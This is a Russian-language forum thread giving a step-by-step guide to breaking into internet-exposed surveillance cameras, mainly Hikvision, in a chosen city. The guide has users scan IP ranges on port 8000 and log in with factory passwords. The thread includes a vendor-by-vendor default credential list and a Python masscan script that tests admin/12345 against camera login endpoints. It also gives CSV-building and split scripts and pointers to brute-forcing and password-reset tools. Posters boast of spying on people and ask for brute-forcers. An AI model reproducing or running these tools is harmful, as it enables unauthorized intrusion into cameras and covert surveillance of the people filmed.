![]() |
Всем привет. Статья о том как можно подключится к камерам наблюдения через интернет с дефолтными настройками.
Оригинал статьи не мой. Я лишь переписал подробнее и добавил скриншотов. Итак, начнем. Первое с чем стоит определится это в каком городе будем искать камеры. Для примера я решил выбрать Новосибирск. Шаг 0 подготовительный. Качаем нужный софт, а именно: 1. Прога для просмотра камер http://dl.hikvision.ru/soft/iVMS-4200(v2.3.0.5).exe (версия важна именно эта!) 2. Прога для скана IPvnc_scanner_gui_1.2 3. Скрипт для оформления IP в надлежащий вид http://pastebin.com/6MJeAD0K 2 и 3 можно скачать тут https://www.sendspace.com/file/wfu28y (у кого есть возможность перезалейте, я потом добавлю в тему). Шаг 1.Ищем iP для нашего города. (Новосибирск) Заходим например сюда https://4it.me/getlistip и в поле «Введите город» вводим город Новосибирск http://105.imagebam.com/download/2Um...-17_112959.png Шаг 2. Добавляем найденные диапазоны в vnc scanner. Сканирование иногда занимает довольно много времени(от получаса до нескольких часов), так что есть смысл сканить за раз небольшое количество диапазонов. Запускаем vnc_scanner_gui_1.2.exe появляется окно http://106.imagebam.com/download/140...-17_113608.png Вставляем туда наши найденные диапазоны адресов (1) В отмеченных полях ставим порт 8000 В поле со страной ставим Russian Federation (не уверен что это нужно прим. blaga) Нажимаем кнопку Start scan (2) – появится окно терминала и сканирование начнется. После окончания сканирования, окно терминала закроется и нужно нажать кнопку Start Parser (3) В итоге получаем список валидных IP адресов в файле IPs.txt Шаг 3. Приводим наши IP в удобноваримый вид для импорта. Устанавливаем python 3.4 для винды тут www.python.org/ftp/python/3.4.3/python-3.4.3.msi Затем берем файлик csv.py кладем его в одну из папок, в эту же папку кидаем файл IPs.txt с нашими IP адресами. По умолчанию этот скрипт создаст csv файл который мы потом скормим программе логин у каждой камеры будет admin пароль 12345 это заводские установки для камер фирмы hikvision (достаточно популярные) можно редактируя скрипт в обычном блокноте менять логины и пароли по умолчанию. (список дефолтных настроек для разных камер внизу статьи). Итак, положили скрипт и файл с IP вместе, можно кликнуть по скрипту дважды (в винде) и он выполнится и создаст csv файл для импорта. Если через дабл клик не запускается, запустите через командную строку, без параметров. Шаг 4. Теперь у нас есть готовый файл для импорта. Устанавливаем программу iVMS-4200(v2.3.0.5).exe, заходим в нее там будет Device Management- Вкладка Server– нажимаем Add Device - там выбираем Batch Import– выбираем наш csv файл. После того как наш файл загрузится список камер появятся в основном окне, и они начнут автоматически подключаться. Те что подключаться загорятся зеленой иконкой и у них появится serial no http://106.imagebam.com/download/Vp9...-17_134631.png Те что не подключились можно удалить, а те что загорелись зеленым можно смотреть! Заходим в Main View, выбираем камеру и смотрим. Можно выбрать расположение камер (1) рекомендую в раз больше 1 камеры не смотреть, так меньше тормозит, камеру выбираем из списка при этом надо развернуть папку (2), так же некоторые камеры поддерживают удаленное управление (3), можно поворачивать камеры, приближать и т.д. (не рекомендую делать, можно спалиться), так же на некоторых камерах есть динамики и можно че нить *****нуть в микрофон и в помещении с камерой люди это услышат(не рекомендую, спалитесь 100%). http://105.imagebam.com/download/n5n...-17_135323.png Ну вот собственно и все. Призываю вас быть умными и не дестроить камеры, для того что бы такая тема прожила дольше. Не обязательно искать в России, можно вообще по всему миру искать. И еще если кто то сможет написать простой брутфорсер камер по словарю стандартных логинов \ паролей, будет вообще шикарно. Список стандартных доступов прилагаю. .SpoilerTarget" type="button">Spoiler: доступы ACTi: admin/123456 or Admin/123456 Arecont Vision: нет Avigilon: admin/admin Axis: root/pass, У новых моделей нет пароля по умолчанию. Пароль задаётся во время первой настройки. Basler: admin/admin Bosch: нет Brickcom: admin/admin Cisco: Нет пароля по умолчанию. Пароль задаётся во время первой настройки. Dahua: admin/admin Digital Watchdog: admin/admin DRS: admin/1234 DVTel: Admin/1234 DynaColor: Admin/1234 FLIR: admin/fliradmin Foscam: admin/нет GeoVision: admin/admin Grandstream: admin/admin Hikvision: admin/12345 Honeywell: admin/1234 IQinVision: root/system IPX-DDK: root/admin or root/Admin JVC: admin/jvc Mobotix: admin/meinsm Panasonic: admin/12345 Pelco Sarix: admin/admin Pixord: admin/admin Samsung Electronics: root/root или admin/4321 Samsung Techwin (старая модель): admin/1111111 Samsung Techwin (новая модель): admin/4321 Sanyo: admin/admin Scallop: admin/password Sentry360 (mini): admin/1234 Sentry360 (pro): нет Sony: admin/admin Stardot: admin/admin Starvedia: admin/нет Trendnet: admin/admin Toshiba: root/ikwd VideoIQ: supervisor/supervisor Vivotek: root/нет> Ubiquiti: ubnt/ubnt Wodsee: admin/нет Всем спасибо. Материал отсюда - http://pikabu.ru/story/shpionim_cher...deniya_3294899 |
дожили, с пикабу "статьи" на ачат копипастят...
|
На пикабу нагло спиздили с bhf не указав источник, от туда 2 скрина моих =)
https://bhf.su/threads/122143/page-53#post-1414326 https://bhf.su/threads/122143/page-50#post-1413925 |
Цитата:
Цитата:
|
как ни странно, камер много с дефолтным доступом.
ТС молодец, одобряю. |
Шаблон csv для открытия списка ip, чтоб вручную не вставлять.
# "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" Копируем строчку "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" много раз, (сколько ip, столько и строчек) копируем список ip, затем в Notepad++ или AkelPad (или еще в чем-нить) выделяем через зажатый Alt столбик из фраз "тут должен быть ip" (без кавычек) и вставляем скопированный ранее столбик из ip, сохраняем в .csv и загружаем его через iVMS. С AkelPad можно проще. Взять за шаблон # "Camera001","0","","8000","0","admin","12345","0", "0","0","0" и между кавычек вставляем столбик из ip через правка - выделение - вертикальная вставка или Alt+V, в Notepad++ не нашел такой функции. Таким образом можно сразу несколько десятков ip вогнать за пол минуты =) Вот еще руссик для софта https://yadi.sk/d/E7pGali0gGyQC и KPortScan 3.0, он лучше vnc сканнера https://www.sendspace.com/file/5odoea |
Цитата:
|
Цитата:
|
Всем привет написал скриптик на питоне Linux Only (из-за статичных путей), прошу сильно не пинать.
Скрипт сканит диапазоны IP, все где открыт порт 8000 сохраняет в XML (средствами masscan), затем бежит по IP адресам в этом XML парсит страничку находящуюся на порту 8000 вставляя дефолтный логин и пароль, если подошел записывает в фаил, иначе переходит к следующему IP адресу. З.Ы. Камеры к которым уже подошел лог пасс второй добавляет в исключение, при повторном запуске пропускает. Есть пару неотлавливаемых ошибок, если кто хочет помочь дописать, оптимизировать, привязать морду (GUI), сделать кроссплатформенный прошу на github (filatovvo), irc (neocaine), или в личку. В диапазоне моей страны находит около 120 камер за первый пробег. .SpoilerTarget" type="button">Spoiler: GitHub https://github.com/filatovvo/TasIXIP...ter/scanner.py .SpoilerTarget" type="button">Spoiler: Python CODE Код:
# INSTALL |
Просто и со вкусом!)
|
Мне больше по душе самые простые беспроводные WIFI камеры.
|
.SpoilerTarget" type="button">Spoiler: оффтоп
В поле со страной ставим Russian Federation (не уверен что это нужно прим. blaga) Не нужно, эта кнопа для парсинга ипов выбранной страны |
При запуске на 1 секунду появляется консоль и исчезает запускал два раза,нечего не происходит .
После чего я запустил CMD и вставил cvs.py Вот что вылезло,2 раза пробовал . C:\Users\*******>"C:\Users\*******\Desktop\Нов я папка\csv.py" Traceback (most recent call last): File "C:\Users\*******\Desktop\Новая папка\csv.py", line 4, in file = open('c:\\csv\\IPs.txt','r') FileNotFoundError: [Errno 2] No such file or directory: 'c:\\csv\\IPs.txt' Пробовал даже в CMD кинуть cvs.py потом нажимал пробел ложил IPs.txt,но все так же и без результатов . |
тоже не могу уже все прога чуть думает и все тишина не ругайте сильно спс
|
Все работает.
Но есть пара недочетов. Максимально возможное кол-во камер -256 А если у меня в файле 500+ Я начал перебирать по одной связке нашел среди первых 256 -7 штук удалил 256 записей в текстовике потом он начал меньше на 7 портировать и тд и тп. Что можно с этим придумать? Может есть еще какой софт для просмотра камер, с возможностью импорта из таблицы excel? без ограничения на кол-во камер |
воспользовался способом ТСа, всё получилось, хоть и не с первого раза, за инструктаж отдельное спасибо
|
Хоть что-нибудь интересное попадалось?
Одни склады, парковки, бомжи, да заводы. Пробовал более уникальные пассы делать, из 400 айпи 1-2 гудов попадаются, а на стандартные пассы уже говорил бомжи одни, еще это ограничение в 256 адресов, невозможно просто. |
Немного модернизации. Сканируем в масштабах города.
Действие номер 1: Открываем https://4it.me Вбиваем свой город. Действие 2: копируем все диапазоны Вашего города в файл scan-r.txt Действие 3: Добавляем "range =" в начало каждой строки awk '{print "range = "$0}' /tmp/scan-r.txt > /tmp/scan-range.txt Действие 4: вставляем содержимое /tmp/scan-range.txt в параметр MASSCANRANGECONF = '''http-user-agent = neocaine@blablabla.ru range = 31.136.209.0/21 range = 218.31.161.0/20''' скрипта .SpoilerTarget" type="button">Spoiler: Python Script # INSTALL # Requirements # Root Priveleges # https://github.com/martinblech/xmltodict - XML To Dictionary Parser # https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning #CONSTANTS LOGIN = 'admin' PWD = '12345' SCRIPTRESULT = 'result.txt' LOGGINGLEVEL = 40 # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10 ARCHIVEPATH = '/tmp/ipcam/archive//' ARCHIVEFOLDERNAME = 'archive' MASSCANFOLDER = '/home/neocaine/' MASSCANRESULT = 'scan.xml' MASSCANEXCLUDE = 'exclude' MASSCANCONF = 'cam.conf' MASSCANCAMPORTCONF = 'port = 8000' MASSCANOUTPUTFORMATCONF = 'output-format = xml' MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE MASSCANRANGECONF = '''http-user-agent = neocaine@blablabla.ru range = 31.136.209.0/21 range = 218.31.161.0/20''' import requests import xmltodict import shutil, zipfile import os, logging, time from datetime import datetime, timedelta from urllib2 import urlopen import urllib2, httplib import socket import requests def make_conf_for_masscan(): masscan_config = MASSCANRANGECONF + '\r\n'\ + MASSCANCAMPORTCONF + '\r\n'\ + MASSCANEXCLUDECONF + '\r\n'\ + MASSCANOUTPUTFORMATCONF + '\r\n'\ + MASSCANRESULTCONF fname = MASSCANFOLDER + MASSCANCONF if os.path.exists(fname): os.remove(fname) open(fname, 'a').close() with open(fname, 'a') as masscan_conf: masscan_conf.seek(0) masscan_conf.write(masscan_config) masscan_conf.close() else: open(fname, 'a').close() with open(fname, 'a') as masscan_conf: masscan_conf.seek(0) masscan_conf.write(masscan_config) masscan_conf.close() fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE open(fnameExclude, 'a').close() def start_masscan(): os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF) #MakeDir Function def mkdir(dir): logging.debug('_Function Called mkdir (dir = %s)' % dir) try: os.stat(dir) except: os.makedirs(dir) def zipdir(path, zip): logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip)) for root, dirs, files in os.walk(path): for file in files: zip.write(os.path.join(root, file)) def delete_previous_file(): logging.debug('_Function Called deletePreviousFile') try: os.remove(MASSCANFOLDER + MASSCANRESULT) os.remove(MASSCANFOLDER + SCRIPTRESULT) except: logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER) def setup_custom_logger(name): formatter = logging.basicConfig(format=u'%(filename)s ' u'[LINE:%(lineno)d]# ' u'%(levelname)-8s ' u'[%(asctime)s] ' u'%(message)s', level=LOGGINGLEVEL) handler = logging.StreamHandler() handler.setFormatter(formatter) logger = logging.getLogger(name) logger.setLevel(logging.DEBUG) logger.addHandler(handler) return logger def test_default_log_pass(ip): logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip) url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime class MyException(Exception): pass try: a =urllib2.urlopen("http://"+ip, timeout = 3) except urllib2.URLError, e: logging.warning('Exception in urllib2.urlopen = %s', e) return 0 except socket.timeout, e: logging.warning('Exception in socket = %s', e) return 0 except socket.error, e: logging.warning('Exception in socket = %s', e) return 0 except requests.ConnectionError, e: logging.warning('Exception in request = %s', e) return 0 except requests.RequestException,e: logging.warning('Exception in request = %s', e) return 0 except httplib.BadStatusLine, e: logging.warning('Exception in httplib = %s', e) return 0 except: logging.warning("Unknown Exception while urllib2.urlopen") return 0 logging.debug('Request Post To = %s', url) values = {'username': LOGIN, 'password': PWD} r = requests try: r = requests.post(url, data=values) except requests.ConnectionError, e: logging.warning('Exception in requests = %s', e) return 0 except httplib.BadStatusLine, e: logging.warning('Exception in httplib = %s', e) return 0 except: logging.warning("Unknown Exception while requests.post") return 0 fname = MASSCANFOLDER + MASSCANRESULT if os.path.exists(fname): os.remove(fname) open(fname, 'a').close() with open(fname, 'a') as myxmlfile: myxmlfile.seek(0) myxmlfile.write(r.content) myxmlfile.close() else: open(fname, 'a').close() with open(fname, 'a') as myxmlfile: myxmlfile.seek(0) myxmlfile.write(r.content) myxmlfile.close() with open(fname) as fd: try: obj = xmltodict.parse(fd.read()) except: logging.warning("Can`t Parse Required xml data") return 0 try: if int(obj['userCheck']['statusValue']) == 200: print ip + ' Has Default Log Password' os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT) os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE) except: logging.debug("xml unknown format = %s",ip) def masscan_return_parser(): fname = MASSCANFOLDER + MASSCANRESULT if not os.path.exists(fname): print(fname) print("WTF") exit() with open(fname) as masscanResult: objects = xmltodict.parse(masscanResult.read()) for w in objects['nmaprun']['host']: logging.debug("Getting Ip from XML = %s", w['address']['@addr']) test_default_log_pass(w['address']['@addr']) logger = setup_custom_logger('root') datenow = datetime.now() unixtime = str(time.time() + timedelta(days=3).total_seconds()) delete_previous_file() make_conf_for_masscan() start_masscan() masscan_return_parser() не забудьте выставить LOGIN и PASS Действие 5: после скрипта будет файл scan.xml из него нам нужно вытащить все IP адреса cat /tmp/scan.xml | awk '{print $3}' | egrep -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > /tmp/scan.txt файл /tmp/scan.txt будет содержать только IP адреса из файла scan.xml Действие 6: Полученный на этапе 5 файл scan.txt нужно распарсить по 256 строк создаем файл split.sh .SpoilerTarget" type="button">Spoiler: split.sh #!/bin/bash # split.sh if [ -z "$1" ]; then echo "Need file name as parameter" fi L=256 M=$(wc -l "$1" | egrep -o '^[0-9]+') N=$((M / L)) if [[ $((N*L)) -lt $M ]]; then tail -n$((M - N*L)) "$1" > "$1$((N+1))"; fi for ((i=0; i "$1$i"; done запускаем split.sh ./split.sh /tmp/scan.txt на выходе будет куча файлов с IP адресами по 256 строк. Действие 7: скармливаем кадый файл с 256 IP адресами из предидущего действия следующему скрипту .SpoilerTarget" type="button">Spoiler: CSV.py login = 'admin' passw = 'admin' file = open('/tmp/scan.txt','r') csv = open('/root/out_'+login+'_'+passw+'.csv','w') k = 0 for line in file: temp = '"' + str(k) + '_ip1","0","'+line[0:-1:1]+'","8000","0","'+login+'","'+passw+'","0","1","0" ,"0"'+'\n' csv.write(temp) k += 1 csv.close() file.close() На выходу будем иметь файл для скармливания Программе для камер |
Цитата:
|
Цитата:
|
Цитата:
|
Хоть и скопировано с пикабу,но все равно спасибо,полезная тема.
|
Ну да... на ачате подобной статьи не видел.
Единственный вопрос к автору: пробовал ли ты сам ТС сделать все действия описанные в статье? |
Можно ли автоматизировать проверку работоспособности пар логин/пароль по списку? Среди находок сплошные падики да бомжи...
|
все работает исправно. Более того вполне удачно
http://clip2net.com/s/3sOefCP http://clip2net.com/s/3sOgU1y http://clip2net.com/s/3sOhx4O |
Давно устаревший способ. Сканируют не RealVNC 4.1.1 Bypass Authentication Scanner, а masscan, команда: –p8000 -iL hosts.txt --rate=1000 -oX myscan.xml. Далее запускают брутфорс видеорегистраторов hikka от superhacker777. Результаты в зависимости от опции могут сохраняться в виде jpg скриншотов, и (или) в .csv файл.
Ссылка дана на старую версию Hikvision. В новой Hikvision iVMS-4200 v2.4.1.3 есть русский язык, а также групповое добавление из .csv. Блоки IP по странам можно взять с http://www.ipaddresslocation.org/ip_...get_ranges.php, а по российским и украинским городам отсюда http://ipgeobase.ru/cgi-bin/Archive.cgi. Статья низкого качества. P. S. В современном русском языке точку в заголовке не ставят. |
|
способец старый, но таки работает
|
Цитата:
hikka -threads 200 -check -shoots good. По окончании перебора в папке good будут изображения с камер. |
Спасибо добрый человек. Вроде всё работает, но не сохраняет результат. Как правильно настроить?
|
Цитата:
|
http://hikkvisionpasswordreset.github.io/
https://github.com/HikkVisionPasswor...e/master/build https://github.com/HikkVisionPasswor...vision-recover Install Kali Linux Install Go Language Install Go Language Color Addon Setup Go Language Install MinGw for Windows buildings Download hikkavision-recover source and extract to Home directory Open Terminal Emulator with Root and exucate apt-get install golang mkdir ~/workspace echo 'export GOPATH="$HOME/workspace"' >> ~/.bashrc source ~/.bashrc go get github.com/fatih/color apt-get install mingw-w64 cd ~/hikkavision-recover-master make And now you have a `build` directory with compiled app for Windows and Linux |
Спасибо добрый человек. Вроде всё работает, но не сохраняет результат. Как правильно настроить?
выводи лог в консоль > log.txt |
Глупцы, если вы заклеите камеру на ноутбуке, как Дед Мороз узнает, хорошо или плохо вы себя вели в этом году?..
|
Цитата:
|
Подскажите, как установить\запустить hikka в linux. КЛОНИРОВАТЬ Я КЛОНИРОВАЛ , а как запустить данную прогу ?
|
по поводу автоматизации - не знаю, но чем плохой способ :
запускаем роутерскан по портам 80;8000;8001;8002;8080;8081;443 собираем кучу всякого хлама и вэб. камер. где не прошел автоматически парсинг логина и пароля - запускаем лису и заходим на веб интерфейс. смотрим какая камера и пробуем под нее дефолтные пассы. в сети не только хиквижины. есть разные. например партизан или дахуа... а там пас не 12345. и много камер не на 8000 порту. и кстати, такие камеры как партизан не ставят на склады. почти все которые встречал - в серьезных офисах и с камерой направленной на комп сисадмина со стороны клавы и муника. автоматизация тоже не всегда хорошее дело. иногда руками больше получается. а просматривать те же хиквижины можно и в лисе с установленными плагинами. п.с. такой способ как в статье пробивает не все камеры. еще зависит от типа аутентификации веб интерфейса. |
Цитата:
|
2 часа смотрел на мужика как за компом сидит и работает, круто!
|
А для линукса есть прога для просмотра камеры? допустим я уже знаю ip login pass и порт.
|
| Время: 15:27 |